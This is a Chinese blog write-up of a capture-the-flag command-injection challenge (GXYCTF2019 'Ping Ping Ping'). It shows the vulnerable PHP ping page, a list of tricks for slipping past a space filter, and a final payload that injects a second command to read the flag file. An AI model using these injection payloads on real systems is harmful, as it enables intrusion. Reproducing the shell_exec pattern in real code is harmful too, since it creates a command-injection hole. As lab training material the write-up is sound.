[GXYCTF2019]Ping Ping Ping解题过程

1、来看看靶场

发现就只有这个提示,尝试一下在url输入框进行测试

 

 页面返回ping的结果,然后我之前也做过另外一道类似的题

链接:[ACTF2020 新生赛]Exec1命令注入_[actf2020 新生赛]exec 1_旺仔Sec的博客-CSDN博客

尝试用管道符

果然是可以的,再尝试一下访问flag.php

 

space应该是空格被过滤了,那我们来进行绕过空格

常用的空格过滤:

  1. ${IFS}替换
  2. $IFS$1替换
  3. ${IFS替换
  4. %20替换
  5. <和<>重定向符替换
  6. %09替换
${IFS}
$IFS$1 
<
<>
{cat,flag.php} 		//用逗号实现空格功能
%09		//需要php环境

但是好像还是没啥用

 那我们访问之前第二个文件,index.php文件试试

/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "

";
  print_r($a);
}

?>

这里大概是使用正则匹配对参数,例如{},<>,* ,?,空格,bash,flag等进行了过滤,才会有我们刚才看到的各种提示
这里观察到有个a变量,使用shell_exec命令进行了shell命令执行,然后将结果返回到a变量中,最后输出a shell_exec命令,这里的ping -c 4是发送4条请求
那么我们可以利用变量来进行覆盖绕过flag过滤

构造一下payload

/?ip=1;a=g;cat$IFS$1fla$a.php;

 FLAG:“flag{a6e9d752-79bf-43e0-ab8f-f789fba639ae}”

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

旺仔Sec

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值